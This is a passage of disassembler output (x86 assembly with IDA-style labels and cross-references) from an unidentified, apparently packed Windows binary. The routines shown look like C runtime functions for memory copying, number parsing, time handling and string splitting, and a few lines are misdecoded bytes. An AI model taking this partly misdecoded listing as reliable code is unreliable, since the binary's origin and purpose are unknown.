		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_416550:				; DATA XREF: sub_416490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164EC
		rep movsd
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41656C	dd offset loc_4165CF	; DATA XREF: sub_416490:loc_4164ECr
		dd offset loc_4165BC
		dd offset loc_4165B4
		dd offset loc_4165AC
		dd offset loc_4165A4
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
; ---------------------------------------------------------------------------

loc_41658C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_416594:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41659C:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4165A4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4165AC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4165B4:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4165BC:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4165CF:				; CODE XREF: sub_416490:loc_4164ECj
					; DATA XREF: sub_416490:off_41656Co
		jmp	off_4165D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165D8	dd offset loc_4165E8	; DATA XREF: sub_416490+35r
					; sub_416490+92r ...
		dd offset loc_4165F0
		dd offset loc_4165FC
		dd offset loc_416610
; ---------------------------------------------------------------------------

loc_4165E8:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4165F0:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4165FC:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_416610:				; CODE XREF: sub_416490+35j
					; sub_416490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416628:				; CODE XREF: sub_416490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41665C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_416650:				; CODE XREF: sub_416490+1B1j
					; sub_416490+208j ...
		neg	ecx
		jmp	off_416720[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41665C:				; CODE XREF: sub_416490+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416674
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416674+4[eax*4]
; ---------------------------------------------------------------------------

loc_416674:				; CODE XREF: sub_416490+1D6j
					; DATA XREF: sub_416490+1DDr
		jmp	off_416770[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[esi+41h], ah
		add	[eax-2FFFBE9Ah], ch
		inc	cx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_416650
		std
		rep movsd
		cld
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416724
		dd offset loc_41672C
		dd offset loc_416734
		dd offset loc_41673C
		dd offset loc_416744
		dd offset loc_41674C
		dd offset loc_416754
off_416720	dd offset loc_416767	; DATA XREF: sub_416490+1C2r
; ---------------------------------------------------------------------------

loc_416724:				; DATA XREF: sub_416490+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41672C:				; DATA XREF: sub_416490+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_416734:				; DATA XREF: sub_416490+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41673C:				; DATA XREF: sub_416490+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_416744:				; DATA XREF: sub_416490+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41674C:				; DATA XREF: sub_416490+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_416754:				; DATA XREF: sub_416490+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_416767:				; CODE XREF: sub_416490+1C2j
					; DATA XREF: sub_416490:off_416720o
		jmp	off_416770[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416770	dd offset loc_416780	; DATA XREF: sub_416490+1B7r
					; sub_416490:loc_416674r ...
		dd offset loc_416788
		dd offset loc_416798
		dd offset loc_4167AC
; ---------------------------------------------------------------------------

loc_416780:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416788:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_416798:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4167AC:				; CODE XREF: sub_416490+1B7j
					; sub_416490:loc_416674j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167C5	proc near		; CODE XREF: sub_404DF9+34p
					; sub_404DF9+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_4167C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167D3	proc near		; CODE XREF: sub_416840+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_46AB34
		call	sub_41AC48
		mov	edx, dword_46AB34
		pop	ecx
		mov	ecx, dword_46AB30
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_416832
		push	edx
		call	sub_41AC48
		add	eax, 10h
		push	eax
		push	dword_46AB34
		call	sub_4174DF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416815
		retn
; ---------------------------------------------------------------------------

loc_416815:				; CODE XREF: sub_4167D3+3Fj
		mov	ecx, dword_46AB30
		sub	ecx, dword_46AB34
		mov	dword_46AB34, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_46AB30, ecx

loc_416832:				; CODE XREF: sub_4167D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_46AB30, 4
		retn
sub_4167D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416840	proc near		; CODE XREF: sub_404EE6+1Ap
					; sub_4200EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4167D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_416840	endp


; =============== S U B	R O U T	I N E =======================================



sub_416852	proc near		; DATA XREF: .nsp0:00423018o
		push	80h
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	dword_46AB34, eax
		jnz	short loc_416873
		push	18h
		call	sub_417BEE
		mov	eax, dword_46AB34
		pop	ecx

loc_416873:				; CODE XREF: sub_416852+12j
		and	dword ptr [eax], 0
		mov	eax, dword_46AB34
		mov	dword_46AB30, eax
		retn
sub_416852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416881	proc near		; CODE XREF: sub_416A89+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_416899:				; CODE XREF: sub_416881+46j
		cmp	dword_437F9C, 1
		jle	short loc_4168B1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4168C0
; ---------------------------------------------------------------------------

loc_4168B1:				; CODE XREF: sub_416881+1Fj
		mov	ecx, off_437D90
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4168C0:				; CODE XREF: sub_416881+2Ej
		test	eax, eax
		jz	short loc_4168C9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416899
; ---------------------------------------------------------------------------

loc_4168C9:				; CODE XREF: sub_416881+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4168D7
		or	[ebp+arg_C], 2
		jmp	short loc_4168DC
; ---------------------------------------------------------------------------

loc_4168D7:				; CODE XREF: sub_416881+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4168E2

loc_4168DC:				; CODE XREF: sub_416881+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_4168E2:				; CODE XREF: sub_416881+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416A79
		cmp	eax, 1
		jz	loc_416A79
		cmp	eax, 24h
		jg	loc_416A79
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41692A
		cmp	bl, 30h
		jz	short loc_416914
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_416946
; ---------------------------------------------------------------------------

loc_416914:				; CODE XREF: sub_416881+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_416927
		cmp	al, 58h
		jz	short loc_416927
		mov	[ebp+arg_8], 8
		jmp	short loc_416946
; ---------------------------------------------------------------------------

loc_416927:				; CODE XREF: sub_416881+97j
					; sub_416881+9Bj
		mov	[ebp+arg_8], ecx

loc_41692A:				; CODE XREF: sub_416881+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_416946
		cmp	bl, 30h
		jnz	short loc_416946
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41693E
		cmp	al, 58h
		jnz	short loc_416946

loc_41693E:				; CODE XREF: sub_416881+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_416946:				; CODE XREF: sub_416881+91j
					; sub_416881+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_416956:				; CODE XREF: sub_416881+16Cj
		cmp	dword_437F9C, 1
		movzx	esi, bl
		jle	short loc_41696E
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_416979
; ---------------------------------------------------------------------------

loc_41696E:				; CODE XREF: sub_416881+DFj
		mov	eax, off_437D90
		mov	al, [eax+esi*2]
		and	eax, 4

loc_416979:				; CODE XREF: sub_416881+EBj
		test	eax, eax
		jz	short loc_416985
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4169B7
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416881+FAj
		cmp	dword_437F9C, 1
		jle	short loc_416999
		push	edi
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4169A4
; ---------------------------------------------------------------------------

loc_416999:				; CODE XREF: sub_416881+10Bj
		mov	eax, off_437D90
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_4169A4:				; CODE XREF: sub_416881+116j
		test	eax, eax
		jz	short loc_4169F2
		movsx	eax, bl
		push	eax
		call	sub_41AC71
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_4169B7:				; CODE XREF: sub_416881+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169F2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169DC
		jnz	short loc_4169D6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169DC

loc_4169D6:				; CODE XREF: sub_416881+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169E5
; ---------------------------------------------------------------------------

loc_4169DC:				; CODE XREF: sub_416881+145j
					; sub_416881+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_4169E5:				; CODE XREF: sub_416881+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416956
; ---------------------------------------------------------------------------

loc_4169F2:				; CODE XREF: sub_416881+125j
					; sub_416881+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_416A10
		test	edx, edx
		jz	short loc_416A0A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_416A0A:				; CODE XREF: sub_416881+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------

loc_416A10:				; CODE XREF: sub_416881+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A36
		test	cl, 1
		jnz	short loc_416A5D
		and	ecx, 2
		jz	short loc_416A2D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A36

loc_416A2D:				; CODE XREF: sub_416881+1A1j
		test	ecx, ecx
		jnz	short loc_416A5D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A5D

loc_416A36:				; CODE XREF: sub_416881+197j
					; sub_416881+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4694B4, 22h
		jz	short loc_416A4C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A5D
; ---------------------------------------------------------------------------

loc_416A4C:				; CODE XREF: sub_416881+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_416A5D:				; CODE XREF: sub_416881+18Dj
					; sub_416881+19Cj ...
		test	edx, edx
		jz	short loc_416A66
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_416A66:				; CODE XREF: sub_416881+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A74
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_416A74:				; CODE XREF: sub_416881+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A84
; ---------------------------------------------------------------------------

loc_416A79:				; CODE XREF: sub_416881+66j
					; sub_416881+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A82
		mov	[eax], edi

loc_416A82:				; CODE XREF: sub_416881+1FDj
		xor	eax, eax

loc_416A84:				; CODE XREF: sub_416881+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416881	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A89	proc near		; CODE XREF: sub_405409+4BDp
					; sub_40CE55+3641p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416881
		add	esp, 10h
		retn
sub_416A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA0	proc near		; CODE XREF: sub_405409+266p
					; sub_405409+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AD3D
		add	esp, 10h
		leave
		retn
sub_416AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AD4	proc near		; CODE XREF: sub_405409+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42105C
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42115C
		mov	ax, [ebp+var_16]
		cmp	ax, word_4694AA
		jnz	short loc_416B39
		mov	ax, [ebp+var_18]
		cmp	ax, word_4694A8
		jnz	short loc_416B39
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4694A6
		jnz	short loc_416B39
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4694A2
		jnz	short loc_416B39
		mov	ax, [ebp+var_20]
		cmp	ax, word_4694A0
		jnz	short loc_416B39
		mov	eax, dword_469498
		jmp	short loc_416B7E
; ---------------------------------------------------------------------------

loc_416B39:				; CODE XREF: sub_416AD4+28j
					; sub_416AD4+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_421158
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B66
		cmp	eax, 2
		jnz	short loc_416B62
		cmp	[ebp+var_32], 0
		jz	short loc_416B62
		cmp	[ebp+var_24], 0
		jz	short loc_416B62
		push	1
		pop	eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------

loc_416B62:				; CODE XREF: sub_416AD4+7Aj
					; sub_416AD4+81j ...
		xor	eax, eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------

loc_416B66:				; CODE XREF: sub_416AD4+75j
		or	eax, 0FFFFFFFFh

loc_416B69:				; CODE XREF: sub_416AD4+8Cj
					; sub_416AD4+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4694A0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_469498, eax
		pop	esi

loc_416B7E:				; CODE XREF: sub_416AD4+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41B7EE
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416BAE
		mov	[ecx], eax

locret_416BAE:				; CODE XREF: sub_416AD4+D6j
		leave
		retn
sub_416AD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB0	proc near		; CODE XREF: sub_405A89+4Ep
					; sub_406C3E+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BD4
		xor	eax, eax
		jmp	loc_416C7D
; ---------------------------------------------------------------------------

loc_416BD4:				; CODE XREF: sub_416BB0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BE7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------

loc_416BE7:				; CODE XREF: sub_416BB0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------

loc_416BF0:				; CODE XREF: sub_416BB0+C4j
		mov	ecx, [ebp+arg_0]

loc_416BF3:				; CODE XREF: sub_416BB0+35j
					; sub_416BB0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C25
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C25
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416C0A
		mov	edi, eax

loc_416C0A:				; CODE XREF: sub_416BB0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155D0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C70
; ---------------------------------------------------------------------------

loc_416C25:				; CODE XREF: sub_416BB0+49j
					; sub_416BB0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C58
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C3B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_416C3B:				; CODE XREF: sub_416BB0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C82
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C88
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C70
; ---------------------------------------------------------------------------

loc_416C58:				; CODE XREF: sub_416BB0+78j
		push	esi
		call	sub_41B8B0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C8C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_416C70:				; CODE XREF: sub_416BB0+73j
					; sub_416BB0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BF0
		mov	eax, [ebp+arg_8]

loc_416C7D:				; CODE XREF: sub_416BB0+1Fj
					; sub_416BB0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_416C82:				; CODE XREF: sub_416BB0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C8C
; ---------------------------------------------------------------------------

loc_416C88:				; CODE XREF: sub_416BB0+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_416C8C:				; CODE XREF: sub_416BB0+B2j
					; sub_416BB0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C7D
sub_416BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C98	proc near		; CODE XREF: sub_405B23+2B2p
					; sub_406100+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_416CB1:				; CODE XREF: sub_416C98+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416CB1
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CD9
		mov	edx, dword_4694B0

loc_416CD9:				; CODE XREF: sub_416C98+39j
					; sub_416C98+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CF9
		test	al, al
		jz	short loc_416CF9
		inc	edx
		jmp	short loc_416CD9
; ---------------------------------------------------------------------------

loc_416CF9:				; CODE XREF: sub_416C98+58j
					; sub_416C98+5Cj
		mov	ebx, edx

loc_416CFB:				; CODE XREF: sub_416C98+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416D1F
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416D1B
		inc	edx
		jmp	short loc_416CFB
; ---------------------------------------------------------------------------

loc_416D1B:				; CODE XREF: sub_416C98+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_416D1F:				; CODE XREF: sub_416C98+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4694B0, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D40	proc near		; CODE XREF: sub_4063B0+1B4p
					; sub_407276+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DC3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D64
		shr	ecx, 2
		jnz	short loc_416DD1
		jmp	short loc_416D85
; ---------------------------------------------------------------------------

loc_416D64:				; CODE XREF: sub_416D40+1Bj
					; sub_416D40+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D92
		test	al, al
		jz	short loc_416D9A
		test	esi, 3
		jnz	short loc_416D64
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DD1

loc_416D80:				; CODE XREF: sub_416D40+8Fj
		and	ebx, 3
		jz	short loc_416D92

loc_416D85:				; CODE XREF: sub_416D40+22j
					; sub_416D40+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416DBE
		dec	ebx
		jnz	short loc_416D85

loc_416D92:				; CODE XREF: sub_416D40+2Bj
					; sub_416D40+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416D9A:				; CODE XREF: sub_416D40+2Fj
		test	edi, 3
		jz	short loc_416DB4

loc_416DA2:				; CODE XREF: sub_416D40+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E36
		test	edi, 3
